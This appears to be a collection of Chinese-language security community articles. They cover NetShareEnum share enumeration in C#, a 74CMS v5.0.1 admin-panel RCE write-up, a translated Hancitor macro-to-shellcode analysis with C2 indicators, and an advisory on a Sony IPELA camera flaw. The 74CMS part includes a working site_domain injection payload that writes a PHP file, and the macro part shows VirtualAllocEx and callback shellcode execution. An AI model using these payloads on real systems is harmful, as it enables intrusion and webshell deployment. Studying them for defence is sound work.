已经针对 `NetSessionEnum` 和 `NetWkstaUserEnum` 进行说明，所以本文是对 `NetShareEnum`
做一个概述及应用的补充。
## 0x01 NetShareEnum 函数
以当前权限检索有关服务器上每个共享资源的信息。还可以使用
[WNetEnumResource](https://docs.microsoft.com/windows/desktop/api/winnetwk/nf-winnetwk-wnetenumresourcea) 函数来检索资源信息。但是， **WNetEnumResource**
不会枚举隐藏的共享或连接到共享的用户。
该函数原型为：
它需要 7 个参数。
* **servername：** 指向一个字符串的指针，该字符串指定要在其上执行该功能的远程服务器的DNS或NetBIOS名称。如果此参数为 **NULL** ，则使用本地计算机
* **level：** 指定数据的信息级别。
| 值 | **含义** |
| ---- | ---------------------------------------- |
| 0 | 返回共享名称。所述 _bufptr_ 参数指向的数组
[SHARE_INFO_0](https://docs.microsoft.com/windows/desktop/api/lmshare/ns-lmshare-share_info_0)结构。 |
| 1 | 返回有关共享资源的信息，包括资源的名称和类型以及与资源关联的注释。所述 _bufptr_ 参数指向的数组
[SHARE_INFO_1](https://docs.microsoft.com/windows/desktop/api/lmshare/ns-lmshare-share_info_1)结构。 |
| 2 | 返回有关共享资源的信息，包括资源名称，类型和权限，密码以及连接数。所述 _bufptr_ 参数指向的数组
[SHARE_INFO_2](https://docs.microsoft.com/windows/desktop/api/lmshare/ns-lmshare-share_info_2)结构。 |
| 502 | 返回有关共享资源的信息，包括资源名称，类型和权限，连接数以及其他相关信息。所述 _bufptr_ 参数指向的数组
[SHARE_INFO_502](https://docs.microsoft.com/windows/desktop/api/lmshare/ns-lmshare-share_info_502)结构。不返回来自不同范围的共享。有关范围界定的更多信息，请参见[NetServerTransportAddEx](https://docs.microsoft.com/windows/desktop/api/lmserver/nf-lmserver-netservertransportaddex)函数的文档的“备注”部分。 |
| 503 | 返回有关共享资源的信息，包括资源名称，类型和权限，连接数以及其他相关信息。所述 _bufptr_
参数指向的数组[SHARE_INFO_503](https://docs.microsoft.com/windows/desktop/api/lmshare/ns-lmshare-share_info_503)结构。返回所有范围的共享。如果此结构的 **shi503_servername** 成员为“
*”，则没有配置的服务器名称，并且 **NetShareEnum** 函数枚举所有未作用域名称的共享。 **Windows Server
2003和Windows XP：** 不支持此信息级别。 |
* **bufptr：** 向接收数据的缓冲区的指针。该数据的格式取决于 _level_ 参数的值。
* **prefmaxlen：** 指定返回数据的首选最大长度，以字节为单位。如果指定 **MAX_PREFERRED_LENGTH** ，则该函数分配数据所需的内存量。如果在此参数中指定另一个值，则它可以限制函数返回的字节数。如果缓冲区大小不足以容纳所有条目，则该函数返回 **ERROR_MORE_DATA** 。
* **entriesread：** 指向一个值的指针，该值接收实际枚举的元素数。
* **totalentries：** 指向一个值的值，该值接收可能已经枚举的条目总数。
* **resume_handle：** 指向包含恢复句柄的值的指针，该恢复句柄用于继续现有的共享搜索。
而此 API 的调用示例为：
string server = "rcoil.me";
int ret = NetShareEnum(server, 1, ref bufPtr, MAX_PREFERRED_LENGTH, ref entriesread, ref totalentries, ref resume_handle);
它会返回如下内容：
shi1_netname - ADMIN$
shi1_remark - Remote management
shi1_netname - C$
shi1_remark - Default share
....
关键源码如下：
/// <summary>
/// 返回指定计算机所开放的共享，并返回 SHARE_INFO_1[] 数组结构
/// https://www.pinvoke.net/default.aspx/netapi32/netshareenum.html
/// </summary>
/// <param name="Server"></param>
/// <returns></returns>
public static SHARE_INFO_1[] EnumNetShares(string Server)
{
List<SHARE_INFO_1> ShareInfos = new List<SHARE_INFO_1>();
int entriesread = 0;
int totalentries = 0;
int resume_handle = 0;
int nStructSize = Marshal.SizeOf(typeof(SHARE_INFO_1));
IntPtr bufPtr = IntPtr.Zero;
StringBuilder server = new StringBuilder(Server);
int ret = NetShareEnum(server, 1, ref bufPtr, MAX_PREFERRED_LENGTH, ref entriesread, ref totalentries, ref resume_handle);
if (ret == NERR_Success)
{
IntPtr currentPtr = bufPtr;
for (int i = 0; i < entriesread; i++)
{
SHARE_INFO_1 shi1 = (SHARE_INFO_1)Marshal.PtrToStructure(currentPtr, typeof(SHARE_INFO_1));
ShareInfos.Add(shi1);
currentPtr += nStructSize;
}
NetApiBufferFree(bufPtr);
return ShareInfos.ToArray();
}
else
{
ShareInfos.Add(new SHARE_INFO_1("ERROR=" + ret.ToString(), 10, string.Empty));
return ShareInfos.ToArray();
}
}
演示结果：
## 0X02 进一步拓展
### 2.1、判断是否可读
判断可读，是根据当前用户权限进行判断的。
string path = String.Format("\\\\{0}\\{1}", computer, share.shi1_netname);
var files = System.IO.Directory.GetFiles(path);
直接根据以上方法进行访问测试即可。效果如下
接下来就是以当前权限，对可访问的共享进行遍历即可。获取文件名、文件大小，再进行下一步的筛选。
### 2.2、遍历
/// <summary>
/// 对路径进行遍历
/// </summary>
/// <param name="info">提供的根路径</param>
public static void ListFiles(FileSystemInfo info)
{
if (!info.Exists) return;
DirectoryInfo dir = info as DirectoryInfo;
//不是目录
if (dir == null) return;
try
{
FileSystemInfo[] files = dir.GetFileSystemInfos();
for (int i = 0; i < files.Length; i++)
{
FileInfo file = files[i] as FileInfo;
//是文件
if (file != null)
Console.WriteLine(file.FullName);
//对于子目录，进行递归调用
else
ListFiles(files[i]);
}
}
catch { }
}
到此，整个过程就可以结束了。 | 社区文章 |
## 文章前言
当笔者第一次看到这个漏洞时，感觉这个漏洞挺鸡肋的，因为需要登录后台管理账户才可以实现RCE，但后期发现这个漏洞的思路挺不错，该漏洞从一个简简单单的网站域名设置到写入恶意代码到url文件，之后再到访问url文件导致恶意代码被执行，最后实现getshell，整个漏洞挖掘思路很是别出心裁，同时也算是给自己了一个警醒——"小功能点"不容小视，下面对该漏洞进行一个简易分析
## 影响范围
74CMS_v5.0.1
## 利用条件
登陆后台
## 漏洞复现
### 环境搭建
前往74CMS官网下载v5.0.1版本系统安装包：<http://www.74cms.com/download/index.html>
之后在本地使用PHPstudy来搭建环境：
### 漏洞利用
首先使用管理员账号登陆后台，点击保存网络配置并使用burpsuite抓包：
之后修改site_domain如下：
<?php phpinfo();?> ——base64之后————> PD9waHAgcGhwaW5mbygpOz8+
payload：
site_domain=', file_put_contents('403.php',base64_decode('PD9waHAgcGhwaW5mbygpOz8%2b')),'
之后再请求一次:/74cms/Application/Common/Conf/url.php使得其中的恶意PHP代码被执行：
之后成功写入403.php文件，文件内容如下所示：
之后访问：
在实战中修改文件内容为一句话木马即可成功getshell，这里不再赘述~
## 漏洞分析
### I函数简介
新版本的74CMS底层使用TP进行了重构，而该漏洞又涉及到I函数，所以我们这里先来介绍一下TP中的I函数，I函数的作用是获取系统变量，必要时还可以对变量值进行过滤及强制转化，I函数的语法格式：
I('变量类型.变量名/修饰符',['默认值'],['过滤方法或正则'],['额外数据源'])
#### 获取变量
在PHP中获取变量值的方法有很多，比如：$_GET['变量名']，$_POST['变量名']，$_SESSION['变量名']，$_COOKIE['变量名']，$SERVER['变量名']
都可以获取相应的变量值，但在TP中为了安全的原因建议统一使用 I
函数来获取变量值，例如：获取URL地址栏中参数id的值，在php中我们用$_GET['id']
来获取，在thinkphp中我们可以用I('get.id')来获取，同样，$_POST['id'] 就用 I('post.id')
取代，I函数的语法格式中的变量类型就是指的像get和post之类的请求方式，类似的变量类型还包括：
如果要获取的变量类型是get、post或put，可以统一用param变量类型，param变量类型是框架特有的支持自动判断当前请求类型的变量获取方式，例如：I('param.id')
，如果当前请求类型是GET，那么等效于$_GET['id']，如果当前请求类型是POST或者PUT，那么相当于获取$_POST['id']
或者PUT参数id。而事实上当 I 函数获取的变量类型是param时变量类型可以省略直接写为：I('变量名') ，那么
$_GET['id']、$_POST['id'] 都可以简写为：I('id') ，但当变量类型为其他类型时就不能这么简写，比如
I('cookie.id')、I('session.id')就不能简写。
注意：I 函数的变量类型不区分大小写，但变量名严格区分大小写，比如 I('get.id') 可以写成 I('GET.id')，但不能写成
I('get.ID')
#### 变量过滤
I函数本身默认的过滤机制是htmlspecialchars，因为在配置文件中配置了：
// 系统默认的变量过滤机制
'DEFAULT_FILTER' => 'htmlspecialchars',
所以I('post.变量名')
就等同于htmlspecialchars($_POST('变量名'))，如果I函数自身带了过滤方法，则用自身带的过滤机制过滤变量，比如：
I('post.email','请输入正确的email地址',FILTER_VALIDATE_EMAIL);
表示会对$_POST['email'] 进行格式验证判断是否符合email 的格式要求，如果不符合的话，返回提示信息，上面的代码也可以简化：
I('post.email','请输入正确的email地址','email')
上面的 FILTER_VALIDATE_EMAIL是不带引号的，下面的email 是带引号的，像上面 email那样简写的过滤方法名必须是
filter_list方法中的有效值（不同的服务器环境可能有所不同），可能支持的包括：
* int
* boolean
* float
* validate_regexp
* validate_url
* validate_email
* validate_ip
* string
* stripped
* encoded
* special_chars
* unsafe_raw
* email
* url
* number_int
* number_float
* magic_quotes
* callback
#### 变量修饰符
变量修饰符和变量名称之间用“/”分割开来，变量修饰符的作用是强制转化变量的字符类型，比如：
I('get.id/d'); // 强制变量转换为整型
I('post.name/s'); // 强制转换变量为字符串类型
I('post.ids/a'); // 强制变量转换为数组类型
可以使用的修饰符包括：
### 源码分析
下面我们对此漏洞进行分析，这里我们采用正向跟踪分析的方式进行分析，首先，我们根据POC请求包中的URL来对漏洞文件进行定位：
URL地址：/74cms/index.php?m=Admin&c=config&a=edit
URL简化：Controller=config&action=edit
文件定位：/Application/Admin/Controller/ConfigController.class.php
函数代码：
public function edit(){
if(IS_POST){
$site_domain = I('request.site_domain','','trim');
$site_domain = trim($site_domain,'/');
$site_dir = I('request.site_dir',C('qscms_site_dir'),'trim');
$site_dir = $site_dir==''?'/':$site_dir;
$site_dir = $site_dir=='/'?$site_dir:('/'.trim($site_dir,'/').'/');
$_POST['site_dir'] = $site_dir;
if($site_domain && $site_domain != C('qscms_site_domain')){
if($site_domain == C('qscms_wap_domain')){
$this->returnMsg(0,'主域名不能与触屏版域名重复！');
}
$str = str_replace('http://','',$site_domain);
$str = str_replace('https://','',$str);
if(preg_match('/com.cn|net.cn|gov.cn|org.cn$/',$str) === 1){
$domain = array_slice(explode('.', $str), -3, 3);
}else{
$domain = array_slice(explode('.', $str), -2, 2);
}
$domain = '.'.implode('.',$domain);
$config['SESSION_OPTIONS'] = array('domain'=>$domain);
$config['COOKIE_DOMAIN'] = $domain;
$this->update_config($config,CONF_PATH.'url.php');
}
$logo_home = I('request.logo_home','','trim');
if(strpos($logo_home,'..')!==false){
$_POST['logo_home'] = '';
}
// $logo_user = I('request.logo_user','','trim');
// if(strpos($logo_user,'..')!==false){
// $_POST['logo_user'] = '';
// }
$logo_other = I('request.logo_other','','trim');
if(strpos($logo_other,'..')!==false){
$_POST['logo_other'] = '';
}
if($default_district = I('post.default_district',0,'intval')){
$city = get_city_info($default_district);
$_POST['default_district'] = $city['district'];
$_POST['default_district_spell'] = $city['district_spell'];
/*选中最后一级，默认选择上一级
$s = D('CategoryDistrict')->get_district_cache($default_district);
$city = get_city_info($default_district);
if(!$s){
$citycategory = explode('.',$city['district']);
if(2 <= count($citycategory)){
array_pop($citycategory);
$district_spell = explode('.',$city['district_spell']);
array_pop($district_spell);
$_POST['default_district'] = implode('.',$citycategory);
$_POST['default_district_spell'] = implode('.',$district_spell);
}else{
$_POST['default_district'] = '';
$_POST['default_district_spell'] = '';
}
}else{
$_POST['default_district'] = $city['district'];
$_POST['default_district_spell'] = $city['district_spell'];
}
*/
}
}
$this->_edit();
$this->display();
}
可以看到此处传递进来的site_domain参数会首先经过I函数进行一次输入过滤，I函数的过滤如下所示(部分已注释，可借鉴之前的介绍)：
ThinkPHP\Common\functions.php
/**
* 获取输入参数 支持过滤和默认值
* 使用方法:
* <code>
* I('id',0); 获取id参数 自动判断get或者post
* I('post.name','','htmlspecialchars'); 获取$_POST['name']
* I('get.'); 获取$_GET
* </code>
* @param string $name 变量的名称 支持指定类型
* @param mixed $default 不存在的时候默认值
* @param mixed $filter 参数过滤方法
* @param mixed $datas 要获取的额外数据源
* @return mixed
*/
function I($name,$default='',$filter=null,$datas=null) {
static $_PUT = null;
if(strpos($name,'/')){ // 指定修饰符
list($name,$type) = explode('/',$name,2);
}elseif(C('VAR_AUTO_STRING')){ // 默认强制转换为字符串
$type = 's';
}
if(strpos($name,'.')) { // 指定参数来源
list($method,$name) = explode('.',$name,2);
}else{ // 默认为自动判断
$method = 'param';
}
switch(strtolower($method)) {
case 'get' :
$input =& $_GET;
break;
case 'post' :
$input =& $_POST;
break;
case 'put' :
if(is_null($_PUT)){
parse_str(file_get_contents('php://input'), $_PUT);
}
$input = $_PUT;
break;
case 'param' :
switch($_SERVER['REQUEST_METHOD']) {
case 'POST':
$input = $_POST;
break;
case 'PUT':
if(is_null($_PUT)){
parse_str(file_get_contents('php://input'), $_PUT);
}
$input = $_PUT;
break;
default:
$input = $_GET;
}
break;
case 'path' :
$input = array();
if(!empty($_SERVER['PATH_INFO'])){
$depr = C('URL_PATHINFO_DEPR');
$input = explode($depr,trim($_SERVER['PATH_INFO'],$depr));
}
break;
case 'request' :
$input =& $_REQUEST;
break;
case 'session' :
$input =& $_SESSION;
break;
case 'cookie' :
$input =& $_COOKIE;
break;
case 'server' :
$input =& $_SERVER;
break;
case 'globals' :
$input =& $GLOBALS;
break;
case 'data' :
$input =& $datas;
break;
default:
return null;
}
if(''==$name) { // 获取全部变量
$data = $input;
$filters = isset($filter) ? $filter.','.C('DEFAULT_FILTER') : C('DEFAULT_FILTER');
//$filters = isset($filter)?$filter:C('DEFAULT_FILTER');
if($filters) {
if(is_string($filters)){
$filters = explode(',',$filters);
}
foreach($filters as $filter){
$data = array_map_recursive($filter,$data); // 参数过滤
}
}
}elseif(isset($input[$name])) { // 取值操作
$data = $input[$name];
$filters = isset($filter) ? $filter.','.C('DEFAULT_FILTER') : C('DEFAULT_FILTER');
//$filters = isset($filter)?$filter:C('DEFAULT_FILTER');
if($filters) {
if(is_string($filters)){
if(0 === strpos($filters,'/')){
if(1 !== preg_match($filters,(string)$data)){
// 支持正则验证
return isset($default) ? $default : null;
}
}else{
$filters = explode(',',$filters);
}
}elseif(is_int($filters)){
$filters = array($filters);
}
if(is_array($filters)){
foreach($filters as $filter){
if(function_exists($filter)) {
$data = is_array($data) ? array_map_recursive($filter,$data) : $filter($data); // 参数过滤
}else{
$data = filter_var($data,is_int($filter) ? $filter : filter_id($filter));
if(false === $data) {
return isset($default) ? $default : null;
}
}
}
}
}
if(!empty($type)){
switch(strtolower($type)){
case 'a': // 数组
$data = (array)$data;
break;
case 'd': // 数字
$data = (int)$data;
break;
case 'f': // 浮点
$data = (float)$data;
break;
case 'b': // 布尔
$data = (boolean)$data;
break;
case 's': // 字符串
default:
$data = (string)$data;
}
}
}else{ // 变量默认值
$data = isset($default)?$default:null;
}
is_array($data) && array_walk_recursive($data,'think_filter');
return $data;
}
再上述I函数中，参数$name——>request.site_domain，参数$filter——>trim，所以首先会进入到一个if判断语句的elseif中，并且设置$tyep为's'，即数据类型未字符串，之后进入到紧跟着的"if(strpos($name,'.'))
{
"中，在这里分别从$name取值并将其分配指配给参数$method与$name，此时的$method即为requets，而$name为site_domain(即我们传递进来的参数值)，之后跟进$method进行匹配操作，在此处由于$method为$request，所以最终$input为$REQUEST，之后退出循环。
之后在进行下面的另一个if...else判断，此处的$name不为空，所以直接进入else语句中，之后通过语句：isset($input[$name])来判断是否设置$name的值，此时的判断等级于isset($REQUEST[site_domain])，很显然我们的payload中构造的参数正是有site-domain传递进来的，所以此处定然不为空，之后继续下下分析，在这里会对$data进行一次赋值操作，数据为我们传递过来的site_domain的值，而此时的fileters为我们的trim(对字符串两侧的特定字符进行移除操作)，之后通过调用array_map_recursive函数对参数进行过滤操作，array_map_recursive代码如下所示：
function array_map_recursive($filter, $data) {
$result = array();
foreach ($data as $key => $val) {
$result[$key] = is_array($val)
? array_map_recursive($filter, $val)
: call_user_func($filter, $val);
}
return $result;
}
在array_map_recursive函数中会通过一个循环来递归对$data中的数据进行参数过滤，之后将传入的filter——>$trim()，以及$val—>$data作为参数通过call_user_func来调用用户自定义的函数，此处为trim()函数，所以此时会对我们构造的$data进行一次两边去空格、去Tab键等操作。
之后我们再往下跟踪分析，之后会根据$type的值来对$data进行一次前置转换，此处为s，即字符串类型，在最后会通过array_walk_recursive来递归调用think_fliter对$data进行一次安全过滤操作，think_fliter函数代码如下所示：
function think_filter(&$value){
// TODO 其他安全过滤
// 过滤查询特殊字符
if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i',$value)){
$value .= ' ';
}
}
可以看到该函数主要过滤了一些查询特殊字符，此处应该为防止SQL注入的安全防护措施，此处对我们payload中的site_domain不会造成任何影响。
下面我们继续返回之前的/Application/Admin/Controller/ConfigController.class.php文件中进行分析，之后可以看到此处的$site_domain会继续被传进trim函数中经一次移除"/"操作，之后判断$site_domain是否为空，以及$site_domain是否等于'qscms_site_domain'(此处的C函数用于获取和设置配置参数)，之后对$site_domain中的"[http://"或"https://"进行一次替换操作，并将其复制给$str，最后调用update_config函数进行一次更新配置操作，并以$config作为参数进行传递(反向溯源：$domain—>$str—>$site_domain——>request.site_domain](http://))
public function edit(){
if(IS_POST){
$site_domain = I('request.site_domain','','trim');
$site_domain = trim($site_domain,'/');
$site_dir = I('request.site_dir',C('qscms_site_dir'),'trim');
$site_dir = $site_dir==''?'/':$site_dir;
$site_dir = $site_dir=='/'?$site_dir:('/'.trim($site_dir,'/').'/');
$_POST['site_dir'] = $site_dir;
if($site_domain && $site_domain != C('qscms_site_domain')){
if($site_domain == C('qscms_wap_domain')){
$this->returnMsg(0,'主域名不能与触屏版域名重复！');
}
$str = str_replace('http://','',$site_domain);
$str = str_replace('https://','',$str);
if(preg_match('/com.cn|net.cn|gov.cn|org.cn$/',$str) === 1){
$domain = array_slice(explode('.', $str), -3, 3);
}else{
$domain = array_slice(explode('.', $str), -2, 2);
}
$domain = '.'.implode('.',$domain);
$config['SESSION_OPTIONS'] = array('domain'=>$domain);
$config['COOKIE_DOMAIN'] = $domain;
$this->update_config($config,CONF_PATH.'url.php');
}
$logo_home = I('request.logo_home','','trim');
if(strpos($logo_home,'..')!==false){
$_POST['logo_home'] = '';
}
// $logo_user = I('request.logo_user','','trim');
// if(strpos($logo_user,'..')!==false){
// $_POST['logo_user'] = '';
// }
$logo_other = I('request.logo_other','','trim');
if(strpos($logo_other,'..')!==false){
$_POST['logo_other'] = '';
}
if($default_district = I('post.default_district',0,'intval')){
$city = get_city_info($default_district);
$_POST['default_district'] = $city['district'];
$_POST['default_district_spell'] = $city['district_spell'];
/*选中最后一级，默认选择上一级
$s = D('CategoryDistrict')->get_district_cache($default_district);
$city = get_city_info($default_district);
if(!$s){
$citycategory = explode('.',$city['district']);
if(2 <= count($citycategory)){
array_pop($citycategory);
$district_spell = explode('.',$city['district_spell']);
array_pop($district_spell);
$_POST['default_district'] = implode('.',$citycategory);
$_POST['default_district_spell'] = implode('.',$district_spell);
}else{
$_POST['default_district'] = '';
$_POST['default_district_spell'] = '';
}
}else{
$_POST['default_district'] = $city['district'];
$_POST['default_district_spell'] = $city['district_spell'];
}
*/
}
}
$this->_edit();
$this->display();
}
之后跟进update_config函数，函数代码如下所示：
文件位置：Application\Common\Controller\BackendController.class.php
public function update_config($new_config, $config_file = '') {
!is_file($config_file) && $config_file = HOME_CONFIG_PATH . 'config.php';
if (is_writable($config_file)) {
$config = require $config_file;
$config = multimerge($config, $new_config);
if($config['SESSION_OPTIONS']){
$config['SESSION_OPTIONS']['path'] = SESSION_PATH;
}
file_put_contents($config_file, "<?php \nreturn " . stripslashes(var_export($config, true)) . ";", LOCK_EX);
@unlink(RUNTIME_FILE);
return true;
} else {
return false;
}
}
在该函数中，首先判断$config_file(Application/Common/Conf/url.php)是否是一个文件，并对$config_file的路径进行重定义(此处的HOME_CONFIG_PATH为：/Application/Home/Conf/)，之后判断文件是否可写，之后调用multimerge方法，在multimerge方法中进行一次类似于复制的操作将$new_config(我们恶意请求中的site_domain)中的内容复制到$config_file中：
function multimerge($a, $b) {
if (is_array($b) && count($b)) {
foreach ($b as $k => $v) {
if (is_array($v) && count($v)) {
$a[$k] = in_array($k, array('SESSION_OPTIONS')) ? multimerge($a[$k], $v) : $v;
} else {
$a[$k] = $v;
}
}
} else {
$a = $b;
}
return $a;
}
之后返回到BackendController.class.php中在L475行会进行一次写文件操作，其中$config_file为Application/Common/Conf/url.php，内容$config为我们恶意请求中的site_domain的内容，再次我们可以向Application/Common/Conf/url.php写入我们构造的恶意PHP代码：
public function update_config($new_config, $config_file = '') {
!is_file($config_file) && $config_file = HOME_CONFIG_PATH . 'config.php';
if (is_writable($config_file)) {
$config = require $config_file;
$config = multimerge($config, $new_config);
if($config['SESSION_OPTIONS']){
$config['SESSION_OPTIONS']['path'] = SESSION_PATH;
}
file_put_contents($config_file, "<?php \nreturn " . stripslashes(var_export($config, true)) . ";", LOCK_EX);
@unlink(RUNTIME_FILE);
return true;
} else {
return false;
}
}
在这里我们可以看一下之前我们在漏洞利用阶段是否有写入恶意PHP代码到url.php中呢？从下图可以看到是有的，这里笔者利用了两次，所有有两次的记录：
在利用漏洞的最后一个阶段，我们只需要访问url.php，之后使其内部的代码执行即可实现写文件到当前目录下的403.php中~
## 文末小结
很多时候，在代码审计过程中我们往往会忽略一些细小的功能点，例如本文的网站域名更新设置，这些更新、删除、查询、新增逻辑等很多时候如果通过代码层面向下进行跟踪分析，很可能有意想不到的惊喜
## 参考链接
<https://www.cnblogs.com/programs/p/5490151.html>
<https://github.com/kyrie403/Vuln/blob/master/74cms/74cms%20v5.0.1%20remote%20code%20execution.md> | 社区文章 |
# 【技术分享】恶意文档分析：从宏指令到Shellcode
|
##### 译文声明
本文是翻译文章，文章来源：bittherapy.net
原文地址：<https://bittherapy.net/malicious-document-analysis-macro-to-shellcode/>
译文仅供参考，具体内容表达以及含义原文为准。
作者：[shan66](http://bobao.360.cn/member/contribute?uid=2522399780)
预估稿费：180RMB（不服你也来投稿啊！）
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**
**
**前言**
最近，遇到的一个Word文档引起了我的注意，因为它一看就是一个恶意文档。它奇葩的地方在于，注释内容五花八门，从随机的变量名称到流行歌词，应有尽有。最重要的是，在从宏指令向机器码转移控制权的时候，它使用了一种非常罕见同时也非常酷的方法。
**
**
**分析宏指令**
宏指令的开头部分，创建许多指向已被Word载入内存中的DLL导出函数的指针：
'Run from the noise of the street and the loaded gun
Public Declare Function whitworth Lib "kernel32.dll" Alias "VirtualAllocEx" (castroism As Long, accidence As Long, ByVal graze As Long, ByVal footstool As Long, ByVal vicariate As Long) As Long
'Life can be so cruel
Public Declare Sub intermission Lib "ntdll.dll" Alias "RtlMoveMemory" (septentrional As Any, ByVal ploy As Any, ByVal cinders As Long)
'Every time you give yourself away
Public Declare Function bruckenthalia Lib "kernel32.dll" Alias "EnumTimeFormatsW" (ByVal khartoum As Any, ByVal grinding As Any, ByVal fie As Any) As Long
'So run my baby run my baby run
Public Declare Function briefcase Lib "user32" Alias "SetParent" (ByVal anomalousness As Long, ByVal chewink As Long, advert As Long) As Long
'Run my baby run my baby run
Public Declare Function ex Lib "user32" Alias "GetUpdateRect" (drakes As Long, lubricitate As Long, pelham As Long) As Boolean
'You can keep it pure on the inside
Public Declare Function charioteer Lib "user32" Alias "EndPaint" (guttling As Long, cervical As Long) As Long
'You can keep it pure on the inside
Public Declare Function gigartinaceae Lib "user32" Alias "OpenClipboard" (enliven As Long) As Boolean
'You can keep it pure on the inside
Public Declare Function malnourished Lib "kernel32.dll" Alias "Sleep" (subsequent As Long)
这里要特别注意函数指针whitworth和bruckenthalia，因为它们允许宏指令以相应的权限分配内存（VirtualAllocEx），然后跳转到分配的内存区并执行任意代码。
VirtualAllocEx的作用是显而易见的，因为宏代码使用它返回一个指向设置为RWX（读写执行权限）的内存块的指针。
EnumTimeFormatsW更加让人感兴趣，其代码如下所示：
BOOL EnumTimeFormats(
_In_ TIMEFMT_ENUMPROC lpTimeFmtEnumProc,
_In_ LCID Locale,
_In_ DWORD dwFlags
);
这个宏代码可以通过第一个参数来传递指向内存中的任意函数的指针，并在返回时执行它。根据MSDN的介绍：
lpTimeFmtEnumProc [in]
指向应用程序定义的回调函数的指针。有关更多信息，请参阅EnumTimeFormatsProc。
通过跟踪宏代码的执行，我发现whitworth的返回值是一个表示内存位置的长整数，具体来说，是VirtualAllocEx返回的地址：
当然，这个地址可能会有所变化，但这里whitworth返回的是115212288，转换为地址的话就是0x06DE0000。
在调用EnumTimeFormatsW并最终将控制权转移到shellcode之前，这个宏会给该地址加上一个偏移量0xE5D：
在本例中，作为回调函数传递的最终值是115215965，也就是0x6DE0E5D。
下图中突出显示的是已经分配的具有RWX权限的内存段：
这个内存块中的内容是一些看似随机的数据：
由于该回调函数使用了一个0xE5D的偏移量，所以我认为这个位置肯定有代码，那就反汇编看看吧：
这里的断点能够帮我们弄清楚控制权从这个宏那里传过来时会发生什么情况。
**Shellcode Harness**
为了简化调试工作，可以将这部分内存保存到磁盘，并将其添加到shellcode harness。所谓shellcode
harness，就是一个任意的可执行文件，只要它有一个节能够容下这个shellcode（大约12kb）就行了：
这个可执行文件（sc.exe）有一个足以容纳shellcode的.data节。所以，我们可以安全地将shellcode写入到.data节中，然后使用OllyDumpEx插件转储所做的修改，即从内存中导出程序到文件里。
最后得到的harness可执行文件的.data节如下所示：
通过对.data节进行反汇编，可以查看哪部分会变成这个shellcode harness可执行文件的新入口点（转移控制权时，宏指令将跳转到这个位置）：
最后一步是修改harness可执行文件的PE头部，并确保入口点偏移量设置为0x0000CE5D。
这样的话，我们就可以用IDA来反汇编shellcode了，以便进一步考察。
**分析Shellcode**
为了隐匿地加载所需的DLL并下载后续代码，shellcode代码需要解决许多棘手的问题。
这里最好将Access Violation异常从调试器传递给应用程序，因为它们会影响我们的逆向分析工作。
shellcode首先会检查进程内存空间中某处是否出现BULLSHIT。由于原始文档已经做好了相应的准备，所以这项检查自然会通过的。
它首先在ESI = 0x00001000处检查BULL，然后在ESI + 0x4处检查SHIT。
我们可以在内存空间中添加相应的内容，或者在每个CMP指令（EFL = 0x00000040）后设置零标志：
此后，shellcode会加载DLL，其中包括urlmon.dll。该库中的URLDownloadToCacheFileA（）函数用于下载后续代码：
此外，它还会检查操作系统的架构：
在x64系统上，它会从％windir％ SysWow64文件夹（32位）执行svchost.exe。在x86系统上，它将启动％windir％
explorer.exe。
该进程看起来是用CREATE_SUSPENDED（0x00000004）标志启动的，然后调用NtUnmapViewOfSection（）：
这里貌似使用了一种称为Process
Hollowing的技术。在使用这种技术的时候，会在挂起模式下启动一个普通的进程，不过该进程的代码实际上已经被攻击者的代码所替换了：
在本例中，shellcode将被注入到“已经掏空的”svchost.exe进程中。然后，对该线程上的下文进行相应的调整，然后唤醒该线程，这样就会执行恶意代码了：
我们可以将调试器附加到正在运行但被挂起的svchost.exe进程上面来查找所有具有RWX权限的节。
如果我们在被掏空的进程的这个节上设置一个break-on-access断点，那么就可以分析这个shellcode的后续代码，并捕获更多的IOC了。一旦WINWORD.exe的shellcode执行完成，svchost.exe中的访问断点将在0x004020D0处被触发：
…然后，该进程将重新启动:)
在svchost.exe中还有许多其他有趣的东西，包括一些反调试花招和更多的C2主机。
**IOC**
家族（行为类似）：
Hancitor / Chanitor
C2:
// from WINWORD.exe
hxxp://hoentoftfa.com/blt/path1.php?v=[1-9]{2}
// from svchost.exe
hxxp://hoentoftfa.com/ls5/gate.php
hxxp://gonynamo.ru/ls5/gate.php
hxxp://forpartinsa.ru/ls5/gate.php
用来获取外部IP的Callout ：
hxxp://api.ipify.org
动态解析和加载的DLL：
值得注意字符串︰
usps85902802.doc的哈希值：
MD5: 03FD8CFB582F4AE09C2BC4E9D2172AC0
SHA-1: 91C36066241D1C0D4574FDB9C6AA035EA486929B
SHA-256: 45289367EA1DDC0F33E77E2499FDE0A3577A5137037F9208ED1CDDED92EE2DC2
SSDeep: 3072:q2RxSO8YmDd3RJticBrsOmqHQvZ2YftJ+:JxoYmIO9JYF | 社区文章 |
Author: Knownsec 404 ZoomEye Team
Time: 2018/07/24
Chinese version: <https://paper.seebug.org/655/>
### Background
[Sony](https://pro.sony/en_GB/ "Sony") is a global leader in audiovisual,
video games, communications products and information technology. It is the
first pioneer in portable digital products and one of the largest electronics
manufacturers in the world.
On July 20, 2018, the Sony IPELA E-series webcam was exposed to remote command
execution vulnerabilities, and[ the details of the
vulnerability](https://www.talosintelligence.com/vulnerability_reports/TALOS-2018-0604
" the details of the vulnerability") were disclosed online. Because the series
of cameras didn't filter the user's input and directly spliced into a command
string and executes, the attacker could execute any command based on this and
further completely take over the camera. The vulnerability is assigned the
number CVE-2018-3937. The vulnerability is not difficult to exploit. According
to the description in the original vulnerability details, Sony officially has
released the patch for the vulnerability on September 19, 2018.
On September 24, 2018, the vulnerability was included in [the Seebug
vulnerability platform](https://www.seebug.org/vuldb/ssvid-97429 "the Seebug
vulnerability platform"). The 404 Team followed up quickly and Vulnerability
recurrened the vulnerability.
### Vulnerability impact
We use the keyword, “app: SonyNetworkCamerahttpd”, to search on [the ZoomEye's
Cyberspace Search
Engine](https://www.zoomeye.org/searchResult?q=%20%2Bapp%3A%22Sony%20Network
"the ZoomEye's Cyberspace Search Engine"), and get 6468 IP history record.
This vulnerability is not difficult to exploit.
The countries affected by the vulnerability are distributed as follows, mainly
in the United States, Vietnam, Germany and other countries.
### Vulnerability repair
According to the description in the original vulnerability details, Sony has
released the relevant patch to fix the vulnerability. Please download and
install [the latest firmware](https://pro.sony/en_GB/support/software/ "the
latest firmware") according to the corresponding camera model.
* * * | 社区文章 |
